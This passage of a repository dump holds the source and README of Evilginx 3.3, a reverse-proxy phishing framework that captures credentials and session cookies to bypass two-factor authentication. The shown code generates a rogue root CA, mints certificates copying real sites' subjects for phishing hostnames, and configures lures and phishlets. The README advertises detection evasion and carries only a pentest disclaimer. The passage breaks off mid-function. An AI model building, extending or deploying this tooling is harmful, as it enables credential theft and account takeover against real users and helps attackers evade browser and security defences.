- Regular expression groups working with `sub_filters`.
- Phishlets are now listed in a table.
- Restructured phishlet YAML config file to be easier to understand (phishlets from previous versions need to be updated to new format).
- Phishlet fields are now selectively lowercased and validated upon loading to prevent surprises.
- All search fields in the phishlet are now regular expressions by default (remember about proper escaping!).
- Added option to capture custom POST arguments additionally to credentials. Check `custom` field under `credentials`.
- Added feature to inject custom POST arguments to requests. Useful when forcing users to tick that "Remember me" checkbox.
- Removed 'name' variable from phishlets. Phishlet name is now determined solely based on the filename.

================================================
FILE: ISSUE_TEMPLATE.md
================================================
#### DO NOT ASK FOR PHISHLETS.
#### DO NOT ASK FOR HELP CREATING PHISHLETS.
#### DO NOT ASK TO FIX PHISHLETS.
#### DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.

#### EXPECT A BAN OTHERWISE. THANK YOU!

#### REPORT ONLY BUGS OR FEATURE SUGGESTIONS.


================================================
FILE: LICENSE
================================================
Copyright (c) 2018-2023 Kuba Gretzky. All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

	 * Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
	 * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
	 * Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

================================================
FILE: Makefile
================================================
TARGET=evilginx
PACKAGES=core database log parser

.PHONY: all build clean
all: build

build:
	@go build -o ./build/$(TARGET) -mod=vendor main.go

clean:
	@go clean
	@rm -f ./build/$(TARGET)


================================================
FILE: README.md
================================================
<p align="center">
  <img alt="Evilginx2 Logo" src="https://raw.githubusercontent.com/kgretzky/evilginx2/master/media/img/evilginx2-logo-512.png" height="160" />
  <p align="center">
    <img alt="Evilginx2 Title" src="https://raw.githubusercontent.com/kgretzky/evilginx2/master/media/img/evilginx2-title-black-512.png" height="60" />
  </p>
</p>

# Evilginx 3.0

**Evilginx** is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.

This tool is a successor to [Evilginx](https://github.com/kgretzky/evilginx), released in 2017, which used a custom version of nginx HTTP server to provide man-in-the-middle functionality to act as a proxy between a browser and phished website.
Present version is fully written in GO as a standalone application, which implements its own HTTP and DNS server, making it extremely easy to set up and use.

<p align="center">
  <img alt="Screenshot" src="https://raw.githubusercontent.com/kgretzky/evilginx2/master/media/img/screen.png" height="320" />
</p>

## Disclaimer

I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.

## Evilginx Pro is now available!

This is it! After over two years of development, countless delays, and hundreds of manual company verifications, concluded with multiple hurdles related to export regulations, [Evilginx Pro is finally live!](https://evilginx.com)

<p align="center">
  <a href="https://evilginx.com"><img alt="Evilginx Mastery" src="https://breakdev.org/content/images/size/w2000/2025/03/evilginx_pro_release_cover.png" height="320" /></a>
</p>

Evilginx Pro is the fruit of a passion I've had for a long time in developing offensive security tools for cybersecurity enthusiasts. The journey has just begun, and now that the product is officially released, I can focus on making it even better by implementing all the ideas I've planned for it.

### Key features:

- Out-of-the-box **phishing detection evasion** (including Chrome's Enchanced Browser Protection)
- Tested and maintained **official phishlets database**
- **Botguard** to **prevent bot traffic** by default (same concept as Cloudflare Turnstile)
- **Evilpuppet** for advanced phishing capability (Google)
- External **DNS providers** with multi-domain support
- **Website spoofing** for unauthorized requests
- **JavaScript** & **HTML obfuscation**
- **Wildcard TLS certificates**
- **Automated** server deployment
- **SQLite** database support

Find out more on the [official release blog post](https://breakdev.org/evilginx-pro-release/).

## Evilginx Mastery Training Course

If you want everything about reverse proxy phishing with **Evilginx** - check out my [Evilginx Mastery](https://academy.breakdev.org/evilginx-mastery) course!

<p align="center">
  <a href="https://academy.breakdev.org/evilginx-mastery"><img alt="Evilginx Mastery" src="https://raw.githubusercontent.com/kgretzky/evilginx2/master/media/img/evilginx_mastery.jpg" height="320" /></a>
</p>

Learn everything about the latest methods of phishing, using reverse proxying to bypass Multi-Factor Authentication. Learn to think like an attacker, during your red team engagements, and become the master of phishing with Evilginx.

Grab it here:
https://academy.breakdev.org/evilginx-mastery

## Official Gophish integration

If you'd like to use Gophish to send out phishing links compatible with Evilginx, please use the official Gophish integration with Evilginx 3.3.
You can find the custom version here in the forked repository: [Gophish with Evilginx integration](https://github.com/kgretzky/gophish/)

If you want to learn more about how to set it up, please follow the instructions in [this blog post](https://breakdev.org/evilginx-3-3-go-phish/)

## Write-ups

If you want to learn more about reverse proxy phishing, I've published extensive blog posts about **Evilginx** here:

[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)

[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)

[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)

[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)

[Evilginx 2.4 - Gone Phishing](https://breakdev.org/evilginx-2-4-gone-phishing/)

[Evilginx 3.0](https://breakdev.org/evilginx-3-0-evilginx-mastery/)

[Evilginx 3.2](https://breakdev.org/evilginx-3-2/)

[Evilginx 3.3](https://breakdev.org/evilginx-3-3-go-phish/)

## Help

In case you want to learn how to install and use **Evilginx**, please refer to online documentation available at:

https://help.evilginx.com

## Support

I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. Please look for ready-to-use phishlets, provided by other people.

## License

**evilginx2** is made by Kuba Gretzky ([@mrgretzky](https://twitter.com/mrgretzky)) and it's released under BSD-3 license.


================================================
FILE: build.bat
================================================
@echo off
set GOARCH=amd64
echo Building...
go build -o .\build\evilginx.exe -mod=vendor


================================================
FILE: build_run.bat
================================================
@echo off
set GOARCH=amd64
echo Building...
go build -o .\build\evilginx.exe -mod=vendor && cls && .\build\evilginx.exe -p ./phishlets -t ./redirectors -developer -debug


================================================
FILE: core/banner.go
================================================
package core

import (
	"fmt"
	"strings"

	"github.com/fatih/color"
)

const (
	VERSION = "3.3.0"
)

func putAsciiArt(s string) {
	for _, c := range s {
		d := string(c)
		switch string(c) {
		case " ":
			color.Set(color.BgRed)
			d = " "
		case "@":
			color.Set(color.BgBlack)
			d = " "
		case "#":
			color.Set(color.BgHiRed)
			d = " "
		case "W":
			color.Set(color.BgWhite)
			d = " "
		case "_":
			color.Unset()
			d = " "
		case "\n":
			color.Unset()
		}
		fmt.Print(d)
	}
	color.Unset()
}

func printLogo(s string) {
	for _, c := range s {
		d := string(c)
		switch string(c) {
		case "_":
			color.Set(color.FgWhite)
		case "\n":
			color.Unset()
		default:
			color.Set(color.FgHiBlack)
		}
		fmt.Print(d)
	}
	color.Unset()
}

func printUpdateName() {
	nameClr := color.New(color.FgHiWhite)
	txt := nameClr.Sprintf("               - --  Community Edition  -- -")
	fmt.Fprintf(color.Output, "%s", txt)
}

func printOneliner1() {
	handleClr := color.New(color.FgHiBlue)
	versionClr := color.New(color.FgGreen)
	textClr := color.New(color.FgHiBlack)
	spc := strings.Repeat(" ", 10-len(VERSION))
	txt := textClr.Sprintf("      by Kuba Gretzky (") + handleClr.Sprintf("@mrgretzky") + textClr.Sprintf(")") + spc + textClr.Sprintf("version ") + versionClr.Sprintf("%s", VERSION)
	fmt.Fprintf(color.Output, "%s", txt)
}

func printOneliner2() {
	textClr := color.New(color.FgHiBlack)
	red := color.New(color.FgRed)
	white := color.New(color.FgWhite)
	txt := textClr.Sprintf("                   no ") + red.Sprintf("nginx") + white.Sprintf(" - ") + textClr.Sprintf("pure ") + red.Sprintf("evil")
	fmt.Fprintf(color.Output, "%s", txt)
}

func Banner() {
	fmt.Println()

	putAsciiArt("__                                     __\n")
	putAsciiArt("_   @@     @@@@@@@@@@@@@@@@@@@     @@   _")
	printLogo(`    ___________      __ __           __               `)
	fmt.Println()
	putAsciiArt("  @@@@    @@@@@@@@@@@@@@@@@@@@@    @@@@  ")
	printLogo(`    \_   _____/__  _|__|  |    ____ |__| ____ ___  ___`)
	fmt.Println()
	putAsciiArt("  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ")
	printLogo(`     |    __)_\  \/ /  |  |   / __ \|  |/    \\  \/  /`)
	fmt.Println()
	putAsciiArt("    @@@@@@@@@@###@@@@@@@###@@@@@@@@@@    ")
	printLogo(`     |        \\   /|  |  |__/ /_/  >  |   |  \>    < `)
	fmt.Println()
	putAsciiArt("      @@@@@@@#####@@@@@#####@@@@@@@      ")
	printLogo(`    /_______  / \_/ |__|____/\___  /|__|___|  /__/\_ \`)
	fmt.Println()
	putAsciiArt("       @@@@@@@###@@@@@@@###@@@@@@@       ")
	printLogo(`            \/              /_____/         \/      \/`)
	fmt.Println()
	putAsciiArt("      @@@@@@@@@@@@@@@@@@@@@@@@@@@@@      \n")
	putAsciiArt("     @@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@     ")
	printUpdateName()
	fmt.Println()
	putAsciiArt("    @@@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@@    \n")
	//printOneliner2()
	//fmt.Println()
	putAsciiArt("_   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@   _")
	printOneliner1()
	fmt.Println()
	putAsciiArt("__                                     __\n")
	fmt.Println()
}


================================================
FILE: core/blacklist.go
================================================
package core

import (
	"bufio"
	"fmt"
	"net"
	"os"
	"strings"

	"github.com/kgretzky/evilginx2/log"
)

type BlockIP struct {
	ipv4 net.IP
	mask *net.IPNet
}

type Blacklist struct {
	ips        map[string]*BlockIP
	masks      []*BlockIP
	configPath string
	verbose    bool
}

func NewBlacklist(path string) (*Blacklist, error) {
	f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644)
	if err != nil {
		return nil, err
	}
	defer f.Close()

	bl := &Blacklist{
		ips:        make(map[string]*BlockIP),
		configPath: path,
		verbose:    true,
	}

	fs := bufio.NewScanner(f)
	fs.Split(bufio.ScanLines)

	for fs.Scan() {
		l := fs.Text()
		// remove comments
		if n := strings.Index(l, ";"); n > -1 {
			l = l[:n]
		}
		l = strings.Trim(l, " ")

		if len(l) > 0 {
			if strings.Contains(l, "/") {
				ipv4, mask, err := net.ParseCIDR(l)
				if err == nil {
					bl.masks = append(bl.masks, &BlockIP{ipv4: ipv4, mask: mask})
				} else {
					log.Error("blacklist: invalid ip/mask address: %s", l)
				}
			} else {
				ipv4 := net.ParseIP(l)
				if ipv4 != nil {
					bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
				} else {
					log.Error("blacklist: invalid ip address: %s", l)
				}
			}
		}
	}

	log.Info("blacklist: loaded %d ip addresses and %d ip masks", len(bl.ips), len(bl.masks))
	return bl, nil
}

func (bl *Blacklist) GetStats() (int, int) {
	return len(bl.ips), len(bl.masks)
}

func (bl *Blacklist) AddIP(ip string) error {
	if bl.IsBlacklisted(ip) {
		return nil
	}

	ipv4 := net.ParseIP(ip)
	if ipv4 != nil {
		bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
	} else {
		return fmt.Errorf("invalid ip address: %s", ip)
	}

	// write to file
	f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
	if err != nil {
		return err
	}
	defer f.Close()

	_, err = f.WriteString(ipv4.String() + "\n")
	if err != nil {
		return err
	}

	return nil
}

func (bl *Blacklist) IsBlacklisted(ip string) bool {
	ipv4 := net.ParseIP(ip)
	if ipv4 == nil {
		return false
	}

	if _, ok := bl.ips[ip]; ok {
		return true
	}
	for _, m := range bl.masks {
		if m.mask != nil && m.mask.Contains(ipv4) {
			return true
		}
	}
	return false
}

func (bl *Blacklist) SetVerbose(verbose bool) {
	bl.verbose = verbose
}

func (bl *Blacklist) IsVerbose() bool {
	return bl.verbose
}

func (bl *Blacklist) IsWhitelisted(ip string) bool {
	if ip == "127.0.0.1" {
		return true
	}
	return false
}


================================================
FILE: core/certdb.go
================================================
package core

import (
	"context"
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"fmt"
	"io/ioutil"
	"math/big"
	"os"
	"path/filepath"
	"strings"
	"time"

	"github.com/kgretzky/evilginx2/log"

	"github.com/caddyserver/certmagic"
)

type CertDb struct {
	cache_dir string
	magic     *certmagic.Config
	cfg       *Config
	ns        *Nameserver
	caCert    tls.Certificate
	tlsCache  map[string]*tls.Certificate
}

func NewCertDb(cache_dir string, cfg *Config, ns *Nameserver) (*CertDb, error) {
	os.Setenv("XDG_DATA_HOME", cache_dir)

	o := &CertDb{
		cache_dir: cache_dir,
		cfg:       cfg,
		ns:        ns,
		tlsCache:  make(map[string]*tls.Certificate),
	}

	if err := os.MkdirAll(filepath.Join(cache_dir, "sites"), 0700); err != nil {
		return nil, err
	}

	certmagic.DefaultACME.Agreed = true
	certmagic.DefaultACME.Email = o.GetEmail()

	err := o.generateCertificates()
	if err != nil {
		return nil, err
	}
	err = o.reloadCertificates()
	if err != nil {
		return nil, err
	}

	o.magic = certmagic.NewDefault()

	return o, nil
}

func (o *CertDb) GetEmail() string {
	var email string
	fn := filepath.Join(o.cache_dir, "email.txt")

	data, err := ReadFromFile(fn)
	if err != nil {
		email = strings.ToLower(GenRandomString(3) + "@" + GenRandomString(6) + ".com")
		if SaveToFile([]byte(email), fn, 0600) != nil {
			log.Error("saving email error: %s", err)
		}
	} else {
		email = strings.TrimSpace(string(data))
	}
	return email
}

func (o *CertDb) generateCertificates() error {
	var key *rsa.PrivateKey

	pkey, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "private.key"))
	if err != nil {
		pkey, err = ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.key"))
	}

	if err != nil {
		// private key corrupted or not found, recreate and delete all public certificates
		os.RemoveAll(filepath.Join(o.cache_dir, "*"))

		key, err = rsa.GenerateKey(rand.Reader, 2048)
		if err != nil {
			return fmt.Errorf("private key generation failed")
		}
		pkey = pem.EncodeToMemory(&pem.Block{
			Type:  "RSA PRIVATE KEY",
			Bytes: x509.MarshalPKCS1PrivateKey(key),
		})
		err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.key"), pkey, 0600)
		if err != nil {
			return err
		}
	} else {
		block, _ := pem.Decode(pkey)
		if block == nil {
			return fmt.Errorf("private key is corrupted")
		}

		key, err = x509.ParsePKCS1PrivateKey(block.Bytes)
		if err != nil {
			return err
		}
	}

	ca_cert, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.crt"))
	if err != nil {
		notBefore := time.Now()
		aYear := time.Duration(10*365*24) * time.Hour
		notAfter := notBefore.Add(aYear)
		serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
		serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
		if err != nil {
			return err
		}

		template := x509.Certificate{
			SerialNumber: serialNumber,
			Subject: pkix.Name{
				Country:            []string{},
				Locality:           []string{},
				Organization:       []string{"Evilginx Signature Trust Co."},
				OrganizationalUnit: []string{},
				CommonName:         "Evilginx Super-Evil Root CA",
			},
			NotBefore:             notBefore,
			NotAfter:              notAfter,
			KeyUsage:              x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
			ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
			BasicConstraintsValid: true,
			IsCA:                  true,
		}

		cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &key.PublicKey, key)
		if err != nil {
			return err
		}
		ca_cert = pem.EncodeToMemory(&pem.Block{
			Type:  "CERTIFICATE",
			Bytes: cert,
		})
		err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.crt"), ca_cert, 0600)
		if err != nil {
			return err
		}
	}

	o.caCert, err = tls.X509KeyPair(ca_cert, pkey)
	if err != nil {
		return err
	}
	return nil
}

func (o *CertDb) setManagedSync(hosts []string, t time.Duration) error {
	ctx, cancel := context.WithTimeout(context.Background(), t)
	err := o.magic.ManageSync(ctx, hosts)
	cancel()
	return err
}

func (o *CertDb) setUnmanagedSync(verbose bool) error {
	sitesDir := filepath.Join(o.cache_dir, "sites")

	files, err := os.ReadDir(sitesDir)
	if err != nil {
		return fmt.Errorf("failed to list certificates in directory '%s': %v", sitesDir, err)
	}

	for _, f := range files {
		if f.IsDir() {
			certDir := filepath.Join(sitesDir, f.Name())

			certFiles, err := os.ReadDir(certDir)
			if err != nil {
				return fmt.Errorf("failed to list certificate directory '%s': %v", certDir, err)
			}

			var certPath, keyPath string

			var pemCnt, crtCnt, keyCnt int
			for _, cf := range certFiles {
				//log.Debug("%s", cf.Name())
				if !cf.IsDir() {
					switch strings.ToLower(filepath.Ext(cf.Name())) {
					case ".pem":
						pemCnt += 1
						if certPath == "" {
							certPath = filepath.Join(certDir, cf.Name())
						}
						if cf.Name() == "fullchain.pem" {
							certPath = filepath.Join(certDir, cf.Name())
						}
						if cf.Name() == "privkey.pem" {
							keyPath = filepath.Join(certDir, cf.Name())
						}
					case ".crt":
						crtCnt += 1
						if certPath == "" {
							certPath = filepath.Join(certDir, cf.Name())
						}
					case ".key":
						keyCnt += 1
						if keyPath == "" {
							keyPath = filepath.Join(certDir, cf.Name())
						}
					}
				}
			}
			if pemCnt > 0 && crtCnt > 0 {
				if verbose {
					log.Warning("cert_db: found multiple .crt and .pem files in the same directory: %s", certDir)
				}
				continue
			}
			if certPath == "" {
				if verbose {
					log.Warning("cert_db: not a single public certificate found in directory: %s", certDir)
				}
				continue
			}
			if keyPath == "" {
				if verbose {
					log.Warning("cert_db: not a single private key found in directory: %s", certDir)
				}
				continue
			}

			log.Debug("caching certificate: cert:%s key:%s", certPath, keyPath)
			ctx := context.Background()
			_, err = o.magic.CacheUnmanagedCertificatePEMFile(ctx, certPath, keyPath, []string{})
			if err != nil {
				if verbose {
					log.Error("cert_db: failed to load certificate key-pair: %v", err)
				}
				continue
			}
		}
	}
	return nil
}

func (o *CertDb) reloadCertificates() error {
	// TODO: load private certificates from disk
	return nil
}

func (o *CertDb) getTLSCertificate(host string, port int) (*x509.Certificate, error) {
	log.Debug("Fetching TLS certificate for %s:%d ...", host, port)

	config := tls.Config{InsecureSkipVerify: true, NextProtos: []string{"http/1.1"}}
	conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", host, port), &config)
	if err != nil {
		return nil, err
	}
	defer conn.Close()

	state := conn.ConnectionState()

	return state.PeerCertificates[0], nil
}

func (o *CertDb) getSelfSignedCertificate(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
	var x509ca *x509.Certificate
	var template x509.Certificate

	cert, ok := o.tlsCache[host]
	if ok {
		return cert, nil
	}

	if x509ca, err = x509.ParseCertificate(o.caCert.Certificate[0]); err != nil {
		return
	}

	if phish_host == "" {
		serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
		serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
		if err != nil {
			return nil, err
		}

		template = x509.Certificate{
			SerialNumber:          serialNumber,
			Issuer:                x509ca.Subject,
			Subject:               pkix.Name{Organization: []string{"Evilginx Signature Trust Co."}},
			NotBefore:             time.Now(),
			NotAfter:              time.Now().Add(time.Hour * 24 * 180),
			KeyUsage:              x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
			ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
			DNSNames:              []string{host},
			BasicConstraintsValid: true,
		}
		template.Subject.CommonName = host
	} else {
		srvCert, err := o.getTLSCertificate(host, port)
		if err != nil {
			return nil, fmt.Errorf("failed to get TLS certificate for: %s:%d error: %s", host, port, err)
		} else {
			serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
			serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
			if err != nil {
				return nil, err
			}

			template = x509.Certificate{
				SerialNumber:          serialNumber,
				Issuer:                x509ca.Subject,
				Subject:               srvCert.Subject,
				NotBefore:             srvCert.NotBefore,
				NotAfter:              time.Now().Add(time.Hour * 24 * 180),
				KeyUsage:              srvCert.KeyUsage,
				ExtKeyUsage:           srvCert.ExtKeyUsage,
				IPAddresses:           srvCert.IPAddresses,
				DNSNames:              []string{phish_host},
				BasicConstraintsValid: true,
			}
			template.Subject.CommonName = phish_host
		}
	}

	var pkey *rsa.PrivateKey
	if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {
		return
	}

	var derBytes []byte
	if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, o.caCert.PrivateKey); err != nil {
		return
	}

	cert = &tls.Certificate{
		Certificate: [][]byte{derBytes, o.caCert.Certificate[0]},
		PrivateKey:  pkey,
	}

	o.tlsCache[host] = cert
	return cert, nil
}


================================================
FILE: core/config.go
================================================
package core

import (
	"fmt"
	"net/url"
	"os"
	"path/filepath"
	"strings"

	"github.com/kgretzky/evilginx2/log"

	"github.com/spf13/viper"
)

var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}

type Lure struct {
	Id              string `mapstructure:"id" json:"id" yaml:"id"`
	Hostname        string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
	Path            string `mapstructure:"path" json:"path" yaml:"path"`
	RedirectUrl     string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
	Phishlet        string `mapstructure:"phishlet" json:"phishlet" yaml:"phishlet"`
	Redirector      string `mapstructure:"redirector" json:"redirector" yaml:"redirector"`
	UserAgentFilter string `mapstructure:"ua_filter" json:"ua_filter" yaml:"ua_filter"`
	Info            string `mapstructure:"info" json:"info" yaml:"info"`
	OgTitle         string `mapstructure:"og_title" json:"og_title" yaml:"og_title"`
	OgDescription   string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
	OgImageUrl      string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
	OgUrl           string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
	PausedUntil     int64  `mapstructure:"paused" json:"paused" yaml:"paused"`
}

type SubPhishlet struct {
	Name       string            `mapstructure:"name" json:"name" yaml:"name"`
	ParentName string            `mapstructure:"parent_name" json:"parent_name" yaml:"parent_name"`
	Params     map[string]string `mapstructure:"params" json:"params" yaml:"params"`
}

type PhishletConfig struct {
	Hostname  string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
	UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
	Enabled   bool   `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
	Visible   bool   `mapstructure:"visible" json:"visible" yaml:"visible"`
}

type ProxyConfig struct {
	Type     string `mapstructure:"type" json:"type" yaml:"type"`
	Address  string `mapstructure:"address" json:"address" yaml:"address"`
	Port     int    `mapstructure:"port" json:"port" yaml:"port"`
	Username string `mapstructure:"username" json:"username" yaml:"username"`
	Password string `mapstructure:"password" json:"password" yaml:"password"`
	Enabled  bool   `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
}

type BlacklistConfig struct {
	Mode string `mapstructure:"mode" json:"mode" yaml:"mode"`
}

type CertificatesConfig struct {
}

type GoPhishConfig struct {
	AdminUrl    string `mapstructure:"admin_url" json:"admin_url" yaml:"admin_url"`
	ApiKey      string `mapstructure:"api_key" json:"api_key" yaml:"api_key"`
	InsecureTLS bool   `mapstructure:"insecure" json:"insecure" yaml:"insecure"`
}

type GeneralConfig struct {
	Domain       string `mapstructure:"domain" json:"domain" yaml:"domain"`
	OldIpv4      string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
	ExternalIpv4 string `mapstructure:"external_ipv4" json:"external_ipv4" yaml:"external_ipv4"`
	BindIpv4     string `mapstructure:"bind_ipv4" json:"bind_ipv4" yaml:"bind_ipv4"`
	UnauthUrl    string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"`
	HttpsPort    int    `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
	DnsPort      int    `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
	Autocert     bool   `mapstructure:"autocert" json:"autocert" yaml:"autocert"`
}

type Config struct {
	general         *GeneralConfig
	certificates    *CertificatesConfig
	blacklistConfig *BlacklistConfig
	gophishConfig   *GoPhishConfig
	proxyConfig     *ProxyConfig
	phishletConfig  map[string]*PhishletConfig
	phishlets       map[string]*Phishlet
	phishletNames   []string
	activeHostnames []string
	redirectorsDir  string
	lures           []*Lure
	lureIds         []string
	subphishlets    []*SubPhishlet
	cfg             *viper.Viper
}

const (
	CFG_GENERAL      = "general"
	CFG_CERTIFICATES = "certificates"
	CFG_LURES        = "lures"
	CFG_PROXY        = "proxy"
	CFG_PHISHLETS    = "phishlets"
	CFG_BLACKLIST    = "blacklist"
	CFG_SUBPHISHLETS = "subphishlets"
	CFG_GOPHISH      = "gophish"
)

const DEFAULT_UNAUTH_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll

func NewConfig(cfg_dir string, path string) (*Config, error) {
	c := &Config{
		general:         &GeneralConfig{},
		certificates:    &CertificatesConfig{},
		gophishConfig:   &GoPhishConfig{},
		phishletConfig:  make(map[string]*PhishletConfig),
		phishlets:       make(map[string]*Phishlet),
		phishletNames:   []string{},
		lures:           []*Lure{},
		blacklistConfig: &BlacklistConfig{},
	}

	c.cfg = viper.New()
	c.cfg.SetConfigType("json")

	if path == "" {
		path = filepath.Join(cfg_dir, "config.json")
	}
	err := os.MkdirAll(filepath.Dir(path), os.FileMode(0700))
	if err != nil {
		return nil, err
	}
	var created_cfg bool = false
	c.cfg.SetConfigFile(path)
	if _, err := os.Stat(path); os.IsNotExist(err) {
		created_cfg = true
		err = c.cfg.WriteConfigAs(path)
		if err != nil {
			return nil, err
		}
	}

	err = c.cfg.ReadInConfig()
	if err != nil {
		return nil, err
	}

	c.cfg.UnmarshalKey(CFG_GENERAL, &c.general)
	if c.cfg.Get("general.autocert") == nil {
		c.cfg.Set("general.autocert", true)
		c.general.Autocert = true
	}

	c.cfg.UnmarshalKey(CFG_BLACKLIST, &c.blacklistConfig)

	c.cfg.UnmarshalKey(CFG_GOPHISH, &c.gophishConfig)

	if c.general.OldIpv4 != "" {
		if c.general.ExternalIpv4 == "" {
			c.SetServerExternalIP(c.general.OldIpv4)
		}
		c.SetServerIP("")
	}

	if !stringExists(c.blacklistConfig.Mode, BLACKLIST_MODES) {
		c.SetBlacklistMode("unauth")
	}

	if c.general.UnauthUrl == "" && created_cfg {
		c.SetUnauthUrl(DEFAULT_UNAUTH_URL)
	}
	if c.general.HttpsPort == 0 {
		c.SetHttpsPort(443)
	}
	if c.general.DnsPort == 0 {
		c.SetDnsPort(53)
	}
	if created_cfg {
		c.EnableAutocert(true)
	}

	c.lures = []*Lure{}
	c.cfg.UnmarshalKey(CFG_LURES, &c.lures)
	c.proxyConfig = &ProxyConfig{}
	c.cfg.UnmarshalKey(CFG_PROXY, &c.proxyConfig)
	c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig)
	c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates)

	for i := 0; i < len(c.lures); i++ {
		c.lureIds = append(c.lureIds, GenRandomToken())
	}

	c.cfg.WriteConfig()
	return c, nil
}

func (c *Config) PhishletConfig(site string) *PhishletConfig {
	if o, ok := c.phishletConfig[site]; ok {
		return o
	} else {
		o := &PhishletConfig{
			Hostname:  "",
			UnauthUrl: "",
			Enabled:   false,
			Visible:   true,
		}
		c.phishletConfig[site] = o
		return o
	}
}

func (c *Config) SavePhishlets() {
	c.cfg.Set(CFG_PHISHLETS, c.phishletConfig)
	c.cfg.WriteConfig()
}

func (c *Config) SetSiteHostname(site string, hostname string) bool {
	if c.general.Domain == "" {
		log.Error("you need to set server top-level domain, first. type: server your-domain.com")
		return false
	}
	pl, err := c.GetPhishlet(site)
	if err != nil {
		log.Error("%v", err)
		return false
	}
	if pl.isTemplate {
		log.Error("phishlet is a template - can't set hostname")
		return false
	}
	if hostname != "" && hostname != c.general.Domain && !strings.HasSuffix(hostname, "."+c.general.Domain) {
		log.Error("phishlet hostname must end with '%s'", c.general.Domain)
		return false
	}
	log.Info("phishlet '%s' hostname set to: %s", site, hostname)
	c.PhishletConfig(site).Hostname = hostname
	c.SavePhishlets()
	return true
}

func (c *Config) SetSiteUnauthUrl(site string, _url string) bool {
	pl, err := c.GetPhishlet(site)
	if err != nil {
		log.Error("%v", err)
		return false
	}
	if pl.isTemplate {
		log.Error("phishlet is a template - can't set unauth_url")
		return false
	}
	if _url != "" {
